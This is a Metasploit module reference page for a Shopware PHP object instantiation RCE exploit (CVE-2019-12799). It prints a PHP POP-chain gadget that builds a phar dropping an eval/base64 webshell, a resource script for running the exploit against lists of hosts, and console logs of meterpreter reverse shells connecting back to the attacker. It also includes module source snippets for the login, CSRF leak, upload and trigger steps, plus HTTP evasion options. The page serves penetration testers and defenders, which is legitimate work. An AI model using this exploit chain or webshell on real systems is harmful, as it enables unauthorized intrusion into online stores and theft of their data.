Shopware createInstanceFromNamedArguments PHP Object Instantiation RCE - Metasploit
This page contains detailed information about how to use the exploit/multi/http/shopware_createinstancefromnamedarguments_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Shopware createInstanceFromNamedArguments PHP Object Instantiation RCE
Module: exploit/multi/http/shopware_createinstancefromnamedarguments_rce
Source code: modules/exploits/multi/http/shopware_createinstancefromnamedarguments_rce.rb
Disclosure date: 2019-05-09
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-18357, CVE-2019-12799
This module exploits a php object instantiation vulnerability that can lead to RCE in Shopware. An authenticated backend user could exploit the vulnerability. The vulnerability exists in the createInstanceFromNamedArguments function, where the code insufficiently performs whitelist check which can be bypassed to trigger an object injection. An attacker can leverage this to deserialize an arbitrary payload and write a webshell to the target system, resulting in remote code execution. Tested on Shopware git branches 5.6, 5.5, 5.4, 5.3.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using shopware_createinstancefromnamedarguments_rce against a single host
Normally, you can use exploit/multi/http/shopware_createinstancefromnamedarguments_rce this way:
msf > use exploit/multi/http/shopware_createinstancefromnamedarguments_rce
msf exploit(shopware_createinstancefromnamedarguments_rce) > show targets
... a list of targets ...
msf exploit(shopware_createinstancefromnamedarguments_rce) > set TARGET target-id
msf exploit(shopware_createinstancefromnamedarguments_rce) > show options
... show and set options ...
msf exploit(shopware_createinstancefromnamedarguments_rce) > exploit
Using shopware_createinstancefromnamedarguments_rce against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your shopware_createinstancefromnamedarguments_rce will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/shopware_createinstancefromnamedarguments_rce")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Shopware 5 is the next generation of open source e-commerce software made in Germany. Based on bleeding edge technologies like Symfony 3, Doctrine 2 & Zend Framework Shopware comes as the perfect platform for your next e-commerce project. Furthermore Shopware 5 provides an event-driven plugin system and an advanced hook system, giving you the ability to customize every part of the platform..
In the createInstanceFromNamedArguments method, a PHP object instantiation vulnerability was discovered by @KarimOuerghemmi of RIPS who rated the bug as a CVSS 3.6 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) due to the ability of leveraging an XXE primitive. Later on, I bypassed the whitelist patch and found an RCE primitive via PHP object injection. Note that authentication is required to exploit this vulnerability.
This vulnerability is a bypass for CVE-2017-18357 and was tested on Shopware git branches 5.6, 5.5, 5.4, 5.3.
The following is the exact setup I used to test and analyze the vulnerability:
- Debian GNU/Linux 9 (stretch) x64
- MariaDB latest
- Apache2 w/ mod rewrite / PHP 7.2.15 w/ zip, gd, ctype, curl, dom, hash, iconv, json, session, mbstring, simplexml, xml, pdo_mysql and fileinfo
For installation instructions, please refer to the Shopware installation guide.
Notes
The recommended CVSS score is 7.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).
POP Chain
In order to pivot from an object instantiation bug to a object injection primitive, we need something worth while deserializing:
namespace GuzzleHttp\Cookie;
// pop chain
interface ToArrayInterface {}
class SetCookie implements ToArrayInterface {
private $data;
public function __construct(array $data = []){
$this->data = $data;
}
}
class CookieJar implements ToArrayInterface {
private $cookies;
public function setCookie(SetCookie $cookie){
$this->cookies = array($cookie);
}
}
class FileCookieJar extends CookieJar {
private $filename;
public function __construct($bd_file){
$this->filename = $bd_file;
$this->setCookie(new SetCookie(array(
"Value" => ' eval(base64_decode($_SERVER[HTTP_SI])); ?>',
"Expires" => true,
"Discard" => false,
)));
}
}
$phar = new \Phar('poc.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub(' __HALT_COMPILER(); ? >');
$o = new FileCookieJar("/var/www/html/media/image/si.php");
$phar->setMetadata($o);
$phar->stopBuffering();
Scenarios
saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/shopware.rc
[*] Processing scripts/shopware.rc for ERB directives.
resource (scripts/shopware.rc)> use exploit/multi/http/shopware_createinstancefromnamedarguments_rce
resource (scripts/shopware.rc)> set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
resource (scripts/shopware.rc)> set LHOST 192.168.23.1
LHOST => 192.168.23.1
resource (scripts/shopware.rc)> set RHOSTS 192.168.23.164
RHOSTS => 192.168.23.164
resource (scripts/shopware.rc)> set RPORT 8080
RPORT => 8080
resource (scripts/shopware.rc)> check
[+] 192.168.23.164:8080 - The target is vulnerable.
resource (scripts/shopware.rc)> exploit
[*] Started reverse TCP handler on 192.168.23.1:4444
[+] Stage 1 - logged in with demo: SHOPWAREBACKEND=lpmck6d7nrh23ki2fsgeopci3p;
[+] Stage 2 - leaked the webroot: /var/www/html
[+] Stage 3 - leaked the CSRF token: SRJELMCxJfEr2RiMlqS8xmOdidI5Hr
[+] Stage 4 - generated our phar
[+] Stage 5 - uploaded phar
[+] Stage 6 - leaked phar location: media/image/6b/7e/0c/eiuzuoii.jpg
[+] Stage 7 - triggered object instantiation!
[*] Sending stage (38247 bytes) to 192.168.23.174
[*] Meterpreter session 1 opened (192.168.23.1:4444 -> 192.168.23.174:34190) at 2019-05-09 21:11:50 -0500
[+] Deleted rguktpcw.php
[+] Deleted image/6b/7e/0c/eiuzuoii.jpg
meterpreter > sysinfo
Computer : 45835d649528
OS : Linux 45835d649528 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86_64
Meterpreter : php/linux
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the multi/http/shopware_createinstancefromnamedarguments_rce exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/shopware_createinstancefromnamedarguments_rce
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/shopware_createinstancefromnamedarguments_rce) > show info
Name: Shopware createInstanceFromNamedArguments PHP Object Instantiation RCE
Module: exploit/multi/http/shopware_createinstancefromnamedarguments_rce
Platform: PHP
Arch: php
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2019-05-09
Provided by:
Karim Ouerghemmi
mr_me <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD demo no Backend password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base Shopware path
USERNAME demo yes Backend username to authenticate with
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits a php object instantiation vulnerability that
can lead to RCE in Shopware. An authenticated backend user could
exploit the vulnerability. The vulnerability exists in the
createInstanceFromNamedArguments function, where the code
insufficiently performs whitelist check which can be bypassed to
trigger an object injection. An attacker can leverage this to
deserialize an arbitrary payload and write a webshell to the target
system, resulting in remote code execution. Tested on Shopware git
branches 5.6, 5.5, 5.4, 5.3.
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-12799
https://nvd.nist.gov/vuln/detail/CVE-2017-18357
https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/
Module Options
This is a complete list of options available in the multi/http/shopware_createinstancefromnamedarguments_rce exploit:
msf6 exploit(multi/http/shopware_createinstancefromnamedarguments_rce) > show options
Module options (exploit/multi/http/shopware_createinstancefromnamedarguments_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD demo no Backend password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base Shopware path
USERNAME demo yes Backend username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the multi/http/shopware_createinstancefromnamedarguments_rce exploit:
msf6 exploit(multi/http/shopware_createinstancefromnamedarguments_rce) > show advanced
Module advanced options (exploit/multi/http/shopware_createinstancefromnamedarguments_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/shopware_createinstancefromnamedarguments_rce module can exploit:
msf6 exploit(multi/http/shopware_createinstancefromnamedarguments_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/shopware_createinstancefromnamedarguments_rce exploit:
msf6 exploit(multi/http/shopware_createinstancefromnamedarguments_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/php/bind_perl normal No PHP Command Shell, Bind TCP (via Perl)
6 payload/php/bind_perl_ipv6 normal No PHP Command Shell, Bind TCP (via perl) IPv6
7 payload/php/bind_php normal No PHP Command Shell, Bind TCP (via PHP)
8 payload/php/bind_php_ipv6 normal No PHP Command Shell, Bind TCP (via php) IPv6
9 payload/php/download_exec normal No PHP Executable Download and Execute
10 payload/php/exec normal No PHP Execute Command
11 payload/php/meterpreter/bind_tcp normal No PHP Meterpreter, Bind TCP Stager
12 payload/php/meterpreter/bind_tcp_ipv6 normal No PHP Meterpreter, Bind TCP Stager IPv6
13 payload/php/meterpreter/bind_tcp_ipv6_uuid normal No PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
14 payload/php/meterpreter/bind_tcp_uuid normal No PHP Meterpreter, Bind TCP Stager with UUID Support
15 payload/php/meterpreter/reverse_tcp normal No PHP Meterpreter, PHP Reverse TCP Stager
16 payload/php/meterpreter/reverse_tcp_uuid normal No PHP Meterpreter, PHP Reverse TCP Stager
17 payload/php/meterpreter_reverse_tcp normal No PHP Meterpreter, Reverse TCP Inline
18 payload/php/reverse_perl normal No PHP Command, Double Reverse TCP Connection (via Perl)
19 payload/php/reverse_php normal No PHP Command Shell, Reverse TCP (via PHP)
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/shopware_createinstancefromnamedarguments_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/shopware_createinstancefromnamedarguments_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Connection failed
- Connection failed
- Connection failed
- Connection failed
- Connection failed
- Connection failed
- Authentication was unsuccessful
- Unable to leak the CSRF token
- Target is not vulnerable.
- Authentication was unsuccessful
- Unable to leak the webroot
- Unable to leak the CSRF token
- Unable to upload phar archive
- Cannot find phar archive
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
60: 'username' => datastore['username'],
61: 'password' => datastore['password'],
62: }
63: )
64: unless res
65: fail_with(Failure::Unreachable, "Connection failed")
66: end
67: if res.code == 200
68: cookie = res.get_cookies.scan(%r{(SHOPWAREBACKEND=.{26};)}).flatten.first
69: if res.nil?
70: return
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
79: 'method' => 'GET',
80: 'uri' => normalize_uri(target_uri.path, 'backend', 'systeminfo', 'info'),
81: 'cookie' => cookie
82: )
83: unless res
84: fail_with(Failure::Unreachable, "Connection failed")
85: end
86: if res.code == 200
87: return res.body.scan(%r{DOCUMENT_ROOT </td><td class="v">(.*) </td></tr>}).flatten.first
88: end
89: return
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
94: 'method' => 'GET',
95: 'uri' => normalize_uri(target_uri.path, 'backend', 'CSRFToken', 'generate'),
96: 'cookie' => cookie
97: )
98: unless res
99: fail_with(Failure::Unreachable, "Connection failed")
100: end
101: if res.code == 200
102: if res.headers.include?('X-Csrf-Token')
103: return res.headers['X-Csrf-Token']
104: end
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
159: 'headers' => {
160: 'X-CSRF-Token' => csrf_token
161: }
162: )
163: unless res
164: fail_with(Failure::Unreachable, "Connection failed")
165: end
166: if res.code == 200 && res.body =~ /Image is not in a recognized format/i
167: return true
168: end
169: return
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
177: 'headers' => {
178: 'X-CSRF-Token' => csrf_token
179: }
180: )
181: unless res
182: fail_with(Failure::Unreachable, "Connection failed")
183: end
184: if res.code == 200 && res.body =~ /#{@phar_bd}.jpg/i
185: bd_path = $1 if res.body =~ /media\\\/image\\\/(.{10})\\\/#{@phar_bd}/
186: register_file_for_cleanup("image/#{bd_path.gsub("\\", "")}/#{@phar_bd}.jpg")
187: return "media/image/#{bd_path.gsub("\\", "")}/#{@phar_bd}.jpg"
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
205: 'X-CSRF-Token' => csrf_token
206: },
207: 'vars_get' => { 'sort' => sort.to_json }
208: )
209: unless res
210: fail_with(Failure::Unreachable, "Connection failed")
211: end
212: return
213: end
214:
215: def exec_code
Authentication was unsuccessful
Here is a relevant code snippet related to the "Authentication was unsuccessful" error message:
221: end
222:
223: def check
224: cookie = do_login
225: if cookie.nil?
226: vprint_error "Authentication was unsuccessful"
227: return Exploit::CheckCode::Safe
228: end
229: csrf_token = leak_csrf(cookie)
230: if csrf_token.nil?
231: vprint_error "Unable to leak the CSRF token"
Unable to leak the CSRF token
Here is a relevant code snippet related to the "Unable to leak the CSRF token" error message:
226: vprint_error "Authentication was unsuccessful"
227: return Exploit::CheckCode::Safe
228: end
229: csrf_token = leak_csrf(cookie)
230: if csrf_token.nil?
231: vprint_error "Unable to leak the CSRF token"
232: return Exploit::CheckCode::Safe
233: end
234: res = send_request_cgi(
235: 'method' => 'GET',
236: 'uri' => normalize_uri(target_uri.path, 'backend', 'ProductStream', 'loadPreview'),
Target is not vulnerable.
Here is a relevant code snippet related to the "Target is not vulnerable." error message:
243: return Exploit::CheckCode::Safe
244: end
245:
246: def exploit
247: unless Exploit::CheckCode::Vulnerable == check
248: fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
249: end
250: @phar_bd = Rex::Text.rand_text_alpha_lower(8)
251: @shll_bd = Rex::Text.rand_text_alpha_lower(8)
252: @header = Rex::Text.rand_text_alpha_upper(2)
253: cookie = do_login
Authentication was unsuccessful
Here is a relevant code snippet related to the "Authentication was unsuccessful" error message:
250: @phar_bd = Rex::Text.rand_text_alpha_lower(8)
251: @shll_bd = Rex::Text.rand_text_alpha_lower(8)
252: @header = Rex::Text.rand_text_alpha_upper(2)
253: cookie = do_login
254: if cookie.nil?
255: fail_with(Failure::NoAccess, "Authentication was unsuccessful")
256: end
257: print_good("Stage 1 - logged in with #{datastore['username']}: #{cookie}")
258: web_root = get_webroot(cookie)
259: if web_root.nil?
260: fail_with(Failure::Unknown, "Unable to leak the webroot")
Unable to leak the webroot
Here is a relevant code snippet related to the "Unable to leak the webroot" error message:
255: fail_with(Failure::NoAccess, "Authentication was unsuccessful")
256: end
257: print_good("Stage 1 - logged in with #{datastore['username']}: #{cookie}")
258: web_root = get_webroot(cookie)
259: if web_root.nil?
260: fail_with(Failure::Unknown, "Unable to leak the webroot")
261: end
262: print_good("Stage 2 - leaked the web root: #{web_root}")
263: csrf_token = leak_csrf(cookie)
264: if csrf_token.nil?
265: fail_with(Failure::Unknown, "Unable to leak the CSRF token")
Unable to leak the CSRF token
Here is a relevant code snippet related to the "Unable to leak the CSRF token" error message:
260: fail_with(Failure::Unknown, "Unable to leak the webroot")
261: end
262: print_good("Stage 2 - leaked the web root: #{web_root}")
263: csrf_token = leak_csrf(cookie)
264: if csrf_token.nil?
265: fail_with(Failure::Unknown, "Unable to leak the CSRF token")
266: end
267: print_good("Stage 3 - leaked the CSRF token: #{csrf_token}")
268: phar = generate_phar(web_root)
269: print_good("Stage 4 - generated our phar")
270: if !upload(cookie, csrf_token, phar)
Unable to upload phar archive
Here is a relevant code snippet related to the "Unable to upload phar archive" error message:
266: end
267: print_good("Stage 3 - leaked the CSRF token: #{csrf_token}")
268: phar = generate_phar(web_root)
269: print_good("Stage 4 - generated our phar")
270: if !upload(cookie, csrf_token, phar)
271: fail_with(Failure::Unknown, "Unable to upload phar archive")
272: end
273: print_good("Stage 5 - uploaded phar")
274: upload_path = leak_upload(cookie, csrf_token)
275: if upload_path.nil?
276: fail_with(Failure::Unknown, "Cannot find phar archive")
Cannot find phar archive
Here is a relevant code snippet related to the "Cannot find phar archive" error message:
271: fail_with(Failure::Unknown, "Unable to upload phar archive")
272: end
273: print_good("Stage 5 - uploaded phar")
274: upload_path = leak_upload(cookie, csrf_token)
275: if upload_path.nil?
276: fail_with(Failure::Unknown, "Cannot find phar archive")
277: end
278: print_good("Stage 6 - leaked phar location: #{upload_path}")
279: trigger_bug(cookie, csrf_token, upload_path)
280: print_good("Stage 7 - triggered object instantiation!")
281: exec_code
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12320 Merged Pull Request: Add correct CVE for shopware module
- #11828 Merged Pull Request: Added CVE-2017 18357 - Shopware createInstanceFromNamedArguments PHP Object Instantiation
References
- CVE-2019-12799
- CVE-2017-18357
- https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/
Authors
- Karim Ouerghemmi
- mr_me <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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